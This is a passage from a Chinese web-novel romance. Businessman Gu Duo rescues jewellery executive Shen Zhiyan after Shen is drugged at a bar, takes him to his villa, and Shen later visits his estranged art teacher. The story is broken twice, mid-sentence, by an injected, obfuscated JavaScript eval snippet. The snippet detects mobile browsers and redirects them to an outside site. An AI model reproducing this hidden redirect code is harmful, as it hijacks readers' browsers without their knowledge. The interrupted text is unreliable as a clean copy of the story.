他为什么会愿意在筛选截止后,再把AG的拍品破例加进去? 对此,顾铎给出的解释是:自己答应过对方,AG的珠宝可以进天御拍卖会。 可显然,自己的话在沈知言这里似乎并没有什么可信度。 忽然,沈知言像是想到了什么,猛然用另一只手拽住了顾铎的衣服,“顾总,阿昭和徐胜宇还在楼下。” 顾铎看了看那只拽着自己衣服的手,修长白皙,骨节分明,此时正在因为体内药力的冲击而隐隐颤抖,指关节已经微微泛白。 他眼神一软,语气缓和了下来,“高筝已经过去处理了。” 沈知言不知道高筝是谁,但他听明白了“处理”这两个字,便迷迷糊糊地点了点头。 “那你……能不能……”沈知言有些犹豫,攥住顾铎衣襟的手微微紧了紧。 见沈知言向自己发出了求救信号,顾铎张了张嘴,“好”字几乎就要脱口而出了,却被沈知言后面的话硬生生地给堵了回去。 “……带我去找阿昭?” 顾铎:…… “……不能。”顾铎回答得很干脆,紧接着他又补充道:“不认识。” 沈知言一时无言。 顾铎看着沈知言此时泛红的眼角,忽然觉得这一幕似曾相识,他蓦然想起了5302那一晚。 那一夜,沈知言也是这样眼角泛红地看着自己,只是那时他的眼中充满了屈辱和忍耐,而现在…… 顾铎缓缓地将手指按在了沈知言的眼尾,细细描摹着他的眼部轮廓,摩挲着他湿润的睫毛,感受着他皮肤的滚烫。 戒指上的红宝石映在沈知言的眼中,衬托得他眼中的迷离与情欲越发浓郁。 原来,相较于清冷疏离的蓝,沈知言更适合放纵奢靡的红。 顾铎深深地看了一眼沈知言,忽然松开了桎梏住对方的手,只是堪堪将人扶住,防止对方摔倒。 “我要走了,你是跟我走,还是要自己留下来?” 见沈知言一脸不解地看着自己,没有任何反应,顾铎就知道这人是没有听懂自己的话,于是,他作势要松开扶助对方的手,转身就要向外走。 果然,下一秒,沈知言就惊慌地抓紧了手中拽着的顾铎的那截西装。 顾铎顺势停下了转身的动作,明知故问地向沈知言确认了一下对方的意思,“所以,你是要和我走?” 沈知言紧紧拽着这块溺水时从天而降的浮木,点点头,轻轻“嗯”了一声。 得到了沈知言自愿的答案,顾铎也不再废话。 他见沈知言腿脚发软,便好心地想将人打横抱起,没想到却遭到了对方坚决而强烈的反对。 无奈之下,顾铎只好用一只手将人紧紧环在胸前,连搂带抱地带着他踉踉跄跄地往外走,可到了楼梯口时,沈知言却突然抗拒了起来。 顾铎有些不明所以,“又怎么了?” 沈知言压低声音问道:“有没有后门?我这个样子太丢人了,会影响AG的形象。” 听到沈知言的话,顾铎不由啧啧称奇,一时之间十分想把沈知言的脑壳撬开,看看里面装的都是些什么——这人都神志不清了,还能想到AG的形象。 不过顾铎还是从善如流地带着沈知言走了另一侧楼梯。 他们来到地下停车场时,高筝已经侯在了车边。 此时,沈知言已经昏昏沉沉,有些搞不清楚现状了。他疑惑地打量着眼前的车,发现不是自己的,便又开始闹着要找秦昭。 “我找阿昭。” 顾铎冷笑一声:“你找不到阿昭,你的阿昭现在正在公安局里备案呢。” 沈知言没听懂,但他知道秦昭不在,于是便耐心地嘱咐道:“那你记得告诉阿昭和思怡一声。” 顾铎试着理解了一下沈知言的前言不搭后语。 他已经派人告知过那个在门口等沈知言的小助理了,至于秦昭那边…… 顾铎抬头看向高筝,见高筝点了点头,于是说道:“已经告诉了。” 话落,顾铎见沈知言依旧扒着车门,还想没完没了地问个不停,他直接选择了强制静音。 他将沈知言的手从车门上掰了下来,护着对方的头就将人塞进了车里。 “唔!” 顾铎的力气不小,沈知言被推了一个踉跄,他体内本来就不安分的气血更是瞬间汹涌澎湃。 沈知言大惊失色,急忙颤抖着将自己缩在了后座的一角,努力地压抑着身体的异样。 随着顾铎高大的身影迈入车内,车门关闭,车辆也随之缓缓启动,提速驶离。 高筝在上车后的第一时间就放下了前排车座的挡板。 此时的沈知言实在难受。他不理解,自己明明吃了氟马西尼,为什么还会这样。 他在身上翻找了一番,却没有找到自己的药瓶,不由着急道:“……氟马西尼……” 顾铎静静地看着眼前这个将自己蜷成一团、喃喃找药的人,觉得他真是又自负、又可怜。 “顾楠给你下的是注射用的试剂,药力是那种口服的三倍以上,你的氟马西尼管不了太大用。” 沈知言在浑浑噩噩中,听到了“氟马西尼”四个字,转头便看向了顾铎,红着一双眼睛向他伸出手去,“给我。” 顾铎反应了一会才明白,沈知言这是在向自己要氟马西尼。 他摇了摇头,“这药不能连着吃,对神经不好。” 在药物的刺激下,沈知言听不懂顾铎的意思,他仍然扬着脸,执着地看着对方。 见状,顾铎无奈地叹了口气,他捡着沈知言能听懂的话,恐吓道:“吃多了会傻,AG会垮。” 这句话果然效果显著,话音未落,沈知言就迅速收回了手,转过了身去。 顾铎:…… …… 同一时间的警局内,秦昭正看着手机上接收到的简讯双手发抖,满眼的不可置信。 天御-高助理:沈总已经和顾总回家了,不用担心。 Leo被人下了药,还跟顾铎那个王八蛋回家了,竟然还让自己不担心? 这是人话? 而一旁的顾楠还在那里兀自叫嚣:“你敢抓我?知不知道我是谁?我姓顾!你警号多少?你完了我告诉你……啊!” 顾楠的话还没有说完,便发出了一声惨叫,周围的警察见状忙过来拉住了暴怒的秦昭。 “哎哎哎,干什么呢?警局还敢打架?” “放手,说你呢,快放手!” “你们还看热闹?快过来把他拉走!” …… 警局里一阵鸡飞狗跳,与之相反的是,匀速前行的宾利内却是一室寂静。 沈知言粗重、紊乱的喘息声逐渐平缓了下来,他已经适应了体内药力的一波波冲撞,勉强维持住了表面的镇定。 但是好景不长,意外来的很快。 伪装的镇定终究只是假象,在车辆毫无预兆地压过一个水坑时,瞬间土崩瓦解。 剧烈的颠簸对于此刻的沈知言来说,简直是一场灭顶之灾! 他体内原本就汹涌澎湃的药力,一下子像是被点燃了一般,顿时化作滚滚热浪,疯狂地在他的四肢百骸肆意奔腾! “唔……” 沈知言猝然瞪大双眼,他的理智顷刻间被冲击得七零八落! 在一波又一波浪潮的肆虐下,沈知言的喘息声愈发急促,喉咙里也不由自主地挤出了一声声细碎的喉音。 他的双手紧紧抓住座椅边缘,拼命地稳定着自己的气息。 可就在这时,车辆忽然一个急刹车,沈知言毫无防备间,整个人向前猛地一倾! “嗯……” 随着身体的失控,他拼命压抑的喉音不受控制地向外涌出,化作了一声带着哭腔的闷哼。 颤抖的声音在狭小的车厢里响起,清晰又可怜。 自那之后,沈知言再也无力抵挡体内狂风暴雨般席卷而来的热浪。 他急促的喘息声、压抑的喉音连绵不断,其间还断断续续地夹杂着一声声颤抖的轻哼。 而自从刚才的急刹之后,这辆车就像中了邪一样,开始了频频的急刹和紧急制动。 沈知言在反反复复的颠簸中被折腾得七荤八素,闷哼声越来越大,哭腔也越来越浓,最后更是突破了口腔发出了一声黏腻的呻吟。 他死死地咬着嘴唇,像是一头呜呜咽咽的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499355|170268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽,整个人都陷入了崩溃的颤抖之中。 “好好开车。”顾铎缓缓开口道。 他的声音醇厚低沉,其中还带着一丝沙哑。 话落,刚刚还仿若中邪的车子瞬间就变得平稳了许多。 车子平稳下来之后,沈知言好过多了。他努力调整着呼吸,继续与体内的异样进行抗争。 忽然,一只手毫无预兆地从旁边伸了过来,轻轻掩住了他口鼻。 “嗯?”沈知言眨了眨眼,疑惑地看向顾铎,眼中满是茫然。 顾铎目不斜视地看着前方,他面上神态如常,只是开口时声音却哑得更厉害了,“别哼哼了。” 沈知言:…… 闻言,沈知言顿时感到一股热流从脖颈处迅速蔓延开来,脸颊瞬间变得通红,耳朵尤甚。 他刚才完全沉浸在了一波波汹涌袭来的快感中,以至于根本没有察觉到,自己竟然在不经意间发出了声音! 沈知言被捂得难受,于是下意识地微微向后仰起头,试图拉开与那只手的距离。 可那只手的主人却十分没有眼色,又紧随其后地迅速跟了上来,但力道倒是比刚刚轻了一些,仅仅是虚虚地覆在了他的口鼻之上。 沈知言幽幽地看了一眼顾铎。 他此时眼角通红,眼中雾蒙蒙的,刚才被折腾出来的眼泪挂在纤长浓密的睫毛上,摇摇欲坠。 顾铎的眼睛正视着前方,耳朵却迅速攀上了一抹殷红。 顾铎此时十分不好受。 他的手几乎覆盖住了沈知言的半张脸,将对方呼出的温热的气息挡了个严严实实。此时,他的掌心已经沁出了薄汗。 而沈知言并不安分。 他浓密的长睫一下一下地呼扇着,在顾铎的手掌上方轻拂,他的嘴唇也在他每一次扭动时,不经意地在顾铎的掌间擦过,似有若无的触感仿佛电流一般,从掌心直传心底。 酥麻难耐。 顾铎屏息凝神,下颌线紧绷。 他悄悄地用另一只手捻住了自己西裤的布料,重重地摩擦着,试图缓解手指上空虚的酥痒感。 过了许久,沈知言轻轻拍了拍顾铎掩在他口鼻上的手,顾铎没有理会。沈知言又拍了拍,对方依然没有理会,在沈知言拍打第三次时,顾铎才转过头来。 见顾铎看了过来,沈知言向下拉了拉他的手。 顾铎顺着对方的力道将手移开了一些,就听沈知言闷声说道:“顾总,我没事了。” 此时的沈知言双目通红,几缕凌乱地头发散落在额前,被眼泪打湿,狼狈地黏在了皮肤上,滚烫的红色从他白皙的脸上一路漫延到脖颈,楚楚可怜。 然后—— 他管自己这样叫没事了! 顾铎静默了一瞬,默默地移开了手掌。 沈知言确实没事了,熬过了刚才那一波汹涌的药力后,他已经可以凭借自身意志力压制体内的异样。 找回了理智后,沈知言回想着自己刚才的失态,顿时陷入了一阵巨大的尴尬之中。 他刚刚都做了什么?他在人家的车上做了什么! 自己丢了面子事不小,败坏AG形象罪更大! 沈知言强迫自己把碎了一地的形象渣滓一点点重新拾起、粘好,试图回归往日里的状态。 他努力压下了内心的尴尬与狼狈,有心找补一下,于是状若无事地问道:“顾总,你今天怎么会在夜色?” 顾铎觉得沈知言这人有意思极了,他一定没照镜子,不然也不会顶着这副模样还端着一副大方社交的态度,反差感太强了,不过……这副反差实在招人。 顾铎错开了眼睛,不再看对方,只是淡淡道:“事情没谈拢,就提前回国了。” 沈知言有心继续找个话题,但顾铎已经闭上了双眼,摆出了一副拒人于千里之外的架势。 见状,他那张在崩溃中刚刚粘好的面具实在挂不住了,便也安静下来,不再自讨没趣。 …… 车辆很快到达了顾铎在西山的别墅,御景园。 沈知言所在的那侧车门被率先打开,一个稳重的中年男人探进了身子,仔细检查了一下沈知言的状态,之后便看向车内的顾铎,笃定地说道:“没大事,打一针就行。” 顾铎点了点头,嘱咐道:“钟叔,他和我上次中的药一样,你先给他全面检查一下。” 沈知言猜测这人应该是顾铎的私人医生。 沈知言现在的脑子虽然还是有些懵,但到底没有忘记正事。临下车前,他扬了扬紧握在手中的合约,“顾总……这个是算数的吧?” 顾铎见沈知言到现在都还记挂着拍卖会的事,语气中流露出了一丝温柔:“你喝酒喝来的,自然算数。” 沈知言这才放下心来,眉眼弯弯道:“谢谢你,顾总。” 向顾铎道了谢后,沈知言就下了车,乖乖地跟着钟叔进了别墅。 沈知言走后高筝就将车熄了火,然后火速下车离开,全程没有丝毫停顿。 车内,一片黑暗中,只剩下了顾铎。 他直挺着身子靠在椅背上,一下一下地用手指敲击着真皮座椅。 不是他不想下车,而是他现在的状态一时半会儿出不去。 沈知言一路哼哼唧唧的,他实在没能忍住。 13. 顾铎的心情过山车 顾铎在车里和徐胜宇通了话,大致了解了一下今天的情况,之后又让酒吧的值班经理将包厢里的监控视频给他发来。 做完这一切之后,感到体内的那股燥热大致平复了下去,他这才从容不迫地将搭在腿上用来遮掩的外套重新穿好,施施然地起身下了车。 顾铎走进客厅时就见钟叔正提着药箱从一楼客房里出来,他快走了几步,在钟叔关上客房门前,探身进去看了看。 客房里关着灯,一室昏暗,此时的沈知言已经窝在被子里睡了过去,西装外套被人脱了下来搭到了衣架上,衬衫一侧的袖子也被卷了上去,露出了一截白皙纤细的手臂,应该是钟叔刚给他打完针。 客厅的灯光透过门缝打在了沈知言的脸上,他脸上的潮红已经褪去了,可取而代之的是一片惨白。两扇睫毛颤巍巍的,想来他在梦中也并不安稳。 顾铎没有过去打扰他,而是轻手轻脚地关上了房门,回到了客厅。 顾铎一边脱下外套,一边顺手接过了吴嫂递过来的青梅蜜,走到了客厅的沙发边坐下,这才向钟叔询问起了沈知言的情况。 “沈先生身体太差了,中药倒是小事,打了针休息一会儿就没事了,倒是他的胃病很严重,以后还是得少喝酒。” 闻言,顾铎眉心一蹙,想到了那天在酒会上沈知言的意气风发和来者不拒,没想到他有胃病还敢这么喝酒? “诶呀?有胃病的呀?那我赶快给他换一杯喝的,青梅会刺激他的胃呀。” 闻言,吴嫂一拍大腿,就急匆匆地要往客房走,却被顾铎制止了。 “不用,吴嫂,他睡下了,别打扰他。” “那我先备好,喝了那么多酒,他醒来后肯定要口渴的呀。”吴嫂说完就转身去厨房重新忙活了起来。 这时,随着一声手机提示音响起,酒吧的值班经理把包厢的监控视频发了过来,顾铎也没多想,直接就在客厅里看了起来。 视频里有一些对话比较炸裂,顾铎看了一会儿后,觉得脑袋有些发懵,也不记得自己看了个啥,就记住了那句“小婶”,而且沈知言竟然没有反驳。 吴嫂给沈知言的客房里重新送了一杯蜂蜜水后,也跟着围了过来。她越看眼睛越亮,更是频频和钟叔交换眼神。二人的面部肌肉十分灵动,表情更是精彩纷呈。 围观的氛围起初还算轻松,直到几人看到视频里沈知言喝下了那十杯混合烈酒,而且其中还加了药。 “这个楠少爷也太过分了!这不纯纯糟践人呢嘛!”吴嫂性子直,想到什么就直接说了。 自从顾铎搬到御景园后,她便一直在这里工作,一路看着这个小孩儿从家族争斗中拼杀出来,夺下了顾家掌权人的身份。因此,对于顾铎和顾铎的人,自然会多一分偏心。更何况,那个顾楠一直就是个成事不足败事有余的主儿,吴嫂本来对他就没有好印象。 “这些酒喝下去,铁胃也受不了!难怪刚才沈先生都疼得冒冷汗了。”钟叔适时补刀。 这件事顾铎并不知情,不由愣了一下,“他胃痛了?” “可不是?药效退了之后,脸色煞白煞白的。” 对于这一点,顾铎确实注意到了。 一瞬间,他的脑海中闪过了许多画面—— 视频里从容应对顾楠刁难的沈知言,气定神闲地一杯接一杯喝下烈酒的沈知言,瑟缩在车中声音旖旎、眼含春水的沈知言,以及此刻正躺在客房里面色苍白、恬静乖顺的沈知言。 不知为什么,他的手指间又传来一阵空虚的酥麻感,顾铎重重地搓了两下。 视频播完了,手机熄了屏,屏幕上映照着顾铎深沉的面容。他的嘴角轻抿,眼神幽深。 其实顾楠在顾家可以算得上是个隐形人了。 当年三房的人联合外人要夺顾家的权,不仅害顾铎的父亲心脏病突发,险些离世,他们还□□了顾铎。所以后来在顾铎掌权后,对三房的人进行了清算——顾楠的父母……和哥哥。 而顾楠,是如今三房唯一的血脉。 幸也不幸,顾楠自小就是个纨绔的二世祖,只知道吃喝玩乐,对家族事业半点不通,但也正因为如此,那次夺权之争他竟然半点没有参与。 但即便是这样,这些年顾家对顾楠也是秉持着“放任自流”的态度,没有资源倾斜、没有精英培养,任由他这个三房的一支独苗在顾家自生自灭。 顾铎能够看到顾楠的困境,但他无法原谅顾楠父母当年的恶行。因此,他只允许顾楠进入天御担任一个无关紧要的闲职,以保全他姓“顾”的体面。 然而,没想到顾楠的心思歪了,竟然敢在璀璨之夜给自己下药。顾铎知道,凭顾楠一人是没有那个胆量的,而他之所以留着顾楠,也只是想通过他钓出背后的教唆者。 可没想到留人竟然留错了! 谁能想到给顾楠个闲职,他都能折腾出一堆破事出来。 现在顾家显然有人生了二心,老爷子还在世,他不能大动干戈。当年他顶着压力让堂兄在监狱中被自尽,是因为那时他刚刚掌权急需立威,但现在,他作为顾家当家人该考虑的就不仅仅是这些了。 …… 顾铎疲惫地揉了揉眉心,一回神就看到吴嫂和钟叔正大眼瞪小眼地看着自己,想也没想,一抬手就开始轰人,“该干嘛干嘛去,你俩在这儿围着我干嘛?” 说着,他顺便拿起了桌上的青梅蜜喝了一口,喝完后不由皱了皱眉。 “吴嫂,这次的怎么这么甜?” 吴嫂被顾铎轰走了,只是在临走前留下了一句,“刚才我问沈先生,他说他喜欢甜一点的,我就给你俩的一起做了。你将就些吧,一会儿还得吃饭呢。” 顾铎:…… 吴嫂准备晚饭的时候,顾铎回房间洗了个澡,他刚下飞机就直接去了夜色酒吧,此时一身疲惫。 这事儿说来也巧,他飞往秘鲁的那天,徐胜宇恰好和他说了沈知言约见顾楠的事,当时顾铎并不知道具体原因,也没有太在意。 后来在秘鲁办公的时候,他收到了策划部发来的拍卖会定稿方案,这才注意到入选的拍品中没有AG提供的珠宝。随即他就想明白了沈知言为什么要约见顾楠。 因为秘鲁的那个供货商态度很坚决,顾铎觉得自己继续留下来也没什么用,再加上顾楠那小子做事有点浑,他担心沈知言和气生财那一套对顾楠不管用。于是就提前结束了行程,一下飞机就去了夜色酒吧,正好赶上了这么一出闹剧。 当顾铎收拾完下楼时,就见吴嫂正在餐桌前忙活。 看到他下来,吴嫂笑着迎了上来,“听说沈先生从意大利回来的,我做了马斯卡彭芝士蛋糕,一会儿你们尝尝。” 顾铎笑了笑,“行。” 说完,他四处打量了一下,没见到沈知言的身影,便抬脚向客房走去。 可是当他打开客房门后,却发现里面漆黑一片,床上竟然是空的。叫来钟叔一问才知道,人竟然已经走了。 “沈先生的助理来接他了,他说得去警局接一个朋友。当时你在楼上,他去敲你的门你也没应声,沈先生就让我转告一声,说改日再正式道谢,然后就匆匆地走掉了。” 顾铎确实没有听到敲门声,想来沈知言来敲门时他应该正在洗澡。 听完钟叔的话后,他面上没有什么反应,只是淡淡地“嗯”了一声,就准备上楼去书房办公,却被吴嫂喊住了。 “哎,先生,你还没吃饭呢,蛋糕也做好了,你尝一块吧。” 顾铎兴致恹恹地没有回头,“不吃了,你们吃吧。” …… 离开御景园的路上,一辆黑色卡宴在夜色中稳速行驶。 沈知言上车后,立刻换上了车里的备用外套,并开始打理自己有些凌乱的头发。 开车的是一个刚大学毕业不久的小姑娘,她是沈知言的生活助理——陈思怡。 陈思怡边开车边看着上车后就一通折腾的沈知言,欲言又止了半天,最终还是没忍住蹙眉道:“老板,我去接秦哥就行了,你先回去休息吧,你现在这状态我是真担心你猝死。” 说完,还没等沈知言回答,她像是又想到了什么,好奇地追问道:“对了,老板,你死了的话财务部还能正常给我发工资吗?” 沈知言默默地看了一眼陈思怡,深刻反思了一下自己的招人标准,不解道:“我当初为什么招你当生活助理来着?” 陈思怡跟着一起回想一会儿,“我觉得可能是我做饭特别好吃。” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499356|170268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知言闻言点点头,这话就算是在斗嘴状态下,他也否定不了。不过想了想,他又补充了一句,“办事也挺机灵。” 确实挺机灵。 陈思怡原本正在酒吧门口接应沈知言和秦昭,没想到却等来了顾铎的人。那人告知她,她老板已经被顾总接走了,让她先回去。 沈知言中了药,还被人带走了,那还得了?!陈思怡当时就急得百爪挠心。 不过对方人高马大的,她也不敢硬顶,于是就和公关部的梁凝打听了顾铎的住址。她想,我阻止不了你们带人走,你们也阻止不了我接人回呀。 但事情就是这么巧,她开车快到御景园的时候,正好收到了沈知言发来的信息,还发了定位,让陈思怡过去接他一趟。 于是就出现了这样诡异的一幕:沈知言刚发出消息让人来接他,紧接着就收到了对方的回信“老板,我到了”。 “老板,说真的,咱以后能不能别碰高浓度的酒?秦哥跟我说的时候我都吓死了!” 陈思怡左打方向盘拐了个弯,见沈知言正将手按在胃上,就知道他的胃又不舒服了,于是没忍住唠叨了一句。 沈知言觉得有些好笑,“我被人下药你不担心,却担心我喝酒。有没有轻重缓急啊?” 陈思怡惊讶道:“下药而已,多大点事儿?要么痛要么爽,总归是一次性的,但胃病不是啊,那是一辈子的事!老板你能不能分清轻重缓急啊!” 沈知言被陈思怡的逻辑惊呆了,讷讷了半晌,才道:“女侠,受教了。” 陈思怡被夸得很得意,但她也没想放弃自己最初的打算,于是打蛇上棍道:“那老板,你好好回家休息,别跟我跑警局了,我接了秦哥给你报个平安行不?” 沈知言摇了摇头,“没事,咱去接你秦哥,我顺便还有点其他的事要做。” “啊?”陈思怡不解,“你去警局有什么事啊?” 沈知言没有答,只是笑了笑,“警民一家亲嘛,慰问一下辛苦奋斗在一线的同志们。” 陈思怡不知道沈知言葫芦里卖的什么药,也不打算刨根问底,总归这些跟她一个小助理没有关系。 …… 确定了AG提供的“鸢尾月”将在天御拍卖会上亮相后,第二天沈知言就连轴转地部署了一系列后续的动作。 这条线他们埋了很久,终于可以着手启动了。 他先和公关部的梁凝等人敲定了后续动作所需的物料准备和节奏细节,又通过远程会议与总部沟通了“织梦录”广告的投放安排,之后,沈知言就泡在设计部里,对“织梦录”系列产品进行最后一轮审核和问题复盘。 因此等到傍晚他从设计部出来时,才知道天御对顾楠的处罚——开除。 这个处罚力度挺大的,大到让沈知言感到意外。 经此一事,沈知言越发觉得顾铎这人挺讲道理,也没那么帮亲不帮理,那么AG争取和天御的合作还是很有希望的! 与此同时,经过秦昭这段时间的死缠烂打,在璀璨之夜设计沈知言的另一个人也有了眉目——宝丰阁的十年元老,陈玉成。 其实宝丰阁的主使未必真就是陈玉成,但他作为宝丰阁东家的左膀右臂被推出来顶了这个锅,那就只能是他了。 有了人名,后面的就好说了。 沈知言让秦昭先将这件事传播出去,提前造势。而他自己这边,则找个了缅商谈了一下原料收购。 正当陈玉成设计沈知言的消息被迅速传播时,还有一条流言也在私下里悄然扩散——顾家掌权人顾铎和AG总裁沈知言梅开二度! 沈知言和顾铎在夜色酒吧的事情很难瞒得住。 那天酒吧包厢里的漏勺本来就不少,再加上沈知言从包厢出来后的那副状态,之后他不仅上了被禁止入内的二楼左区,还被顾铎搂着去了停车场。 无数证据都在为流言佐证。 开始时,天御的员工们是不信的,他们的顾总明明在秘鲁出差,怎么可能会在夜色酒吧闪现?直到周五那天,他们亲眼看到了原本应该在秘鲁的顾总,竟然就这么水灵灵地出现在了天御办公楼! 一时间,天御各大没有老板的群里都炸了锅,大家纷纷感叹,万年铁树竟然开花了,还开了两次! 14. 梦里梦外 周六的京大校园十分热闹。 现在正是社团纳新的时间,到处都是创意十足的招新海报。伴随着分发传单的吆喝声,三三两两的学生往来穿梭在招新摊位,大三的学长们老神在在,大二的部长们拼命忽悠,大一的新生们热情洋溢。 一路走下来,沈知言的手里多出了一打传单,他边走边津津有味地翻看着。 今天的沈知言一改往日里的西装革履的形象,穿得格外休闲。他穿了件loropiana的蓝白色羊绒开衫,内搭着一件白色简约T恤,在胸口处戴了一个设计感十足的鸢尾徽章,下身是深蓝色的BrunelloCucinelli的牛仔裤,穿着一双小牛皮革的低帮运动鞋。 他这一身休闲装和校园的气质融合得很好,因此一路上收获了很多目光……和传单。 沈知言当年考上了京大,可是却因故退学出了国,因此他对京大学生的校园生活十分感兴趣,以至于接传单时接得乐此不疲。 秦昭一大早就开车送沈知言过来了,此时他正背着个画筒,两手提着拜礼跟在沈知言身边,西装笔挺,俨然一副精英范。 两人其实年龄差不多,只是在装扮和神情的加持下,他俩一路走来,倒像是家中长辈来送孩子上学。 二人转眼就到了京大的家属楼,建筑风格有一定的年代感了,经过多年的风吹日晒,略显陈旧。 沈知言停下了脚步,接过了秦昭手中的礼物和画筒,“辛苦了,周末还折腾你跑来送我一趟,你先回去吧,我走时打车就行。” “不用,你走时打电话叫我,我正好在这边有事要办,今天一天都在京大附近。”秦昭说完,根本不给沈知言拒绝的机会,转身就走了。 经过了一丛带着秋霜的已然凋败的鸢尾花,沈知言提着东西站到了一扇熟悉的房门前,徘徊了一会儿。 住在这里的人,对他有着穷其一生也无法偿还的恩情,可当年沈知言却不负责任地一走了之,八年来杳无音信。 他其实刚回国时就来过了,但那时却被告知这里的主人正在国外进行学术交流。 “笃笃……” 沈知言呼了一口气,平复了一下情绪,颤抖着手敲响了房门。 这一次,门开了。 开门的是一个四十多岁的中年人,面庞清瘦,身姿挺拔,头发打理得一丝不苟,穿着深色的对襟毛衣,戴着一副银边眼睛,气质温文尔雅。 见到来人,沈知言先是眼眶一热,紧接着就弯了弯眼睛,露出了一个很大的笑容,“老师!” 与沈知言的热情相反,站在门内的孟时平却是面色冰冷,他斜睨了沈知言一眼后,冷哼一声,就敞着门往屋里走了。 沈知言丝毫不介意孟时平的态度,自己招待着自己,轻车熟路地进门换了鞋,将从商厦买的那些礼物放在了一旁,只拿着手中的画筒径直进了孟时平的书房。 孟时平是京大美术系的教授,在国内久负盛名。只是他为人清高孤傲,不喜结交,因此这么多年来他的身边也没有什么朋友、小辈。 而沈知言是孟时平当年在江城疗养时捡到的好苗子。 孟时平第一次见到沈知言时,沈知言正在奔波于街道办、教育局和民政局之间,帮自己办理入学的事,那时他还没上初一。 当时孟时平想,这家大人也太不负责了,怎么让这么小的一个孩子忙活这种事?后来他才知道,沈知言家里没有大人。又或者说,沈知言没有家,连他之前所在的福利院都没有了。 沈知言自小就是一个清晰地知道自己想要什么,并肯为之付出十二分努力的人。 江城的教育并不强,沈知言所在的学校师资水平也很一般,在这个大家都在疯玩瞎闹的环境里,不到13岁的沈知言却铆足了劲地要考京大。 他说他哥哥在京大,他要去找他。 沈知言很有绘画天赋,又有个做什么都能做成的性格,于是孟时平就收他做了关门弟子,还做了他的临时监护人,在江城和他一同生活了五年。 后来孟时平回京大复职,安心地等着自己的小徒弟考来京市找自己。 沈知言没有让他失望,他考上了京大,他说他找到了哥哥,一切都很顺利。 可开学后,沈知言却没有出现,他只是来了通电话,说他要出国了。 他为什么忽然出国?谁给他办的签证?他要去哪里?语言通不通?身上的钱够不够? 孟时平有很多问题,但都没有问出口,因为那孩子在电话里哭得话都说不全乎了。 毕竟一同生活了五年,孟时平知道,他是被什么吓到了。 沈知言的品性孟时平怎么会不知道,他一声不响的出国,定然是遇到了什么事,这事很大,他一个没爹没妈的孤儿解决不了,自己这个清高了半辈子的臭教书的也解决不了。 沈知言对于没能赴孟时平的约很内疚,可是孟时平怎么会责怪沈知言的失约?他只是担心那么一个无依无靠的小孩,会不会在异国他乡无声无息地死掉。 他夜夜难安 沈知言走到了书桌前,向孟时平身边凑了凑,面容十分乖巧地打起了直球,“老师,我特想你。” 孟时平敛下了眸中的神色,淡淡道:“我的徒弟是沈知言,不是一声不吭就跑掉还半路改换门庭的小王八蛋。” 听孟时平这么说,沈知言就放心了,直接坐了下来,扯了扯孟时平的衣袖,小心翼翼地说:“小王八蛋知道错了,他觉得自己特别不是个东西。他想给您赔礼,所以想问问您,您在拒绝之前能不能先看看?” 说罢,沈知言也不等孟教授说什么,径直打开了画筒,将里面的画取出来后,在孟时平面前展开,然后打蛇上棍地用双手搂住了孟时平一侧的胳膊。 “这是我出国后的第二年参加IVAA时的参赛作品,我拿了绘画组的金奖,导师提报的是您的名字。” IVAA,全名InternationalVisualArtsAward,是一项国际视觉艺术赛,分为多个赛道。当年沈知言一穷二白,差点活不下去,正是凭借着那次获奖,他无意中获得了一位来自卢卡家族的设计师的关注,也由此认识了他如今在AG效力的Alex。也是在那之后,他改学了珠宝设计,后来出了成绩,得到了资源倾斜。 孟时平的面色有些动容,他看了看那幅画,良久,道:“我知道,那场比赛我看了。” 不仅看了,还看了很多遍。 自那场比赛之后,关于沈知言的事情,孟时平多少也知道一二,知道他在意大利,知道他在那边上学,也知道他改学了珠宝设计,还进了AG。孟时平甚至还关注了他的ins账号,知道了他的生活。 后来人好不容易回国了,但那时孟时平却带队去了国外进行学术交流。 室内安静了一瞬。 孟时平忽然一改之前的冷漠,有些气急败坏地质问道:“你怎么能这么久都不给家里来通电话呢!八年啊!你是不知道我的手机号吗!” 沈知言忙道:“前几年我确实打不起电话,活着都费劲,后来日子好了,我又觉得怕了,我就怕你说,不要我了……” 孟时平觉得自己脑袋上的小火苗蹭蹭地往外窜,忍了半天,终于问出了八年来的不解:“那你当初到底出了什么事!走得那么不明不白,还……还走得那么狼狈。” 沈知言垂下了眼睛,没有回答。 并非他不想说,而是他也不知道当年事情的原委。一只微不足道的蝼蚁,无意中被卷入了豪门恩怨的漩涡,权势的倾轧就是他的灭顶之灾。曾经少年意气,不知青天高、黄地厚,事到临头才发觉,朗朗乾坤,处处阴霾。他在江城可以顽强地成长十八年,却在京市险些没能活过三天。 孟时平也没有强求,如果沈知言肯说,八年前就向自己求救了,而他八年前不肯说的事情,八年后也依然不会说。 “那……解决了吗?” 沈知言的睫毛微微抖了一下,他忽然抬眸,笑了笑,“我不知道,但是……我已经不怕了,老师。” 孟时平本来憋了一肚子火,可是看到沈知言这副可怜巴巴的表情,又撒不出来了。他叹了口气,起身就穿了外套往外走。 见沈知言跟小时候一样,像个跟屁虫一样在后面跟着自己,孟时平回头瞪了他一眼,“跟着我干嘛?我去买菜,不然中午吃什么?等着你变出来?” 说完,还觉得不解气,又指了指沈知言眼睛下面的那团乌青,“你现在先进屋治治你那熊猫眼,等下有客人来,别吓着人家!” 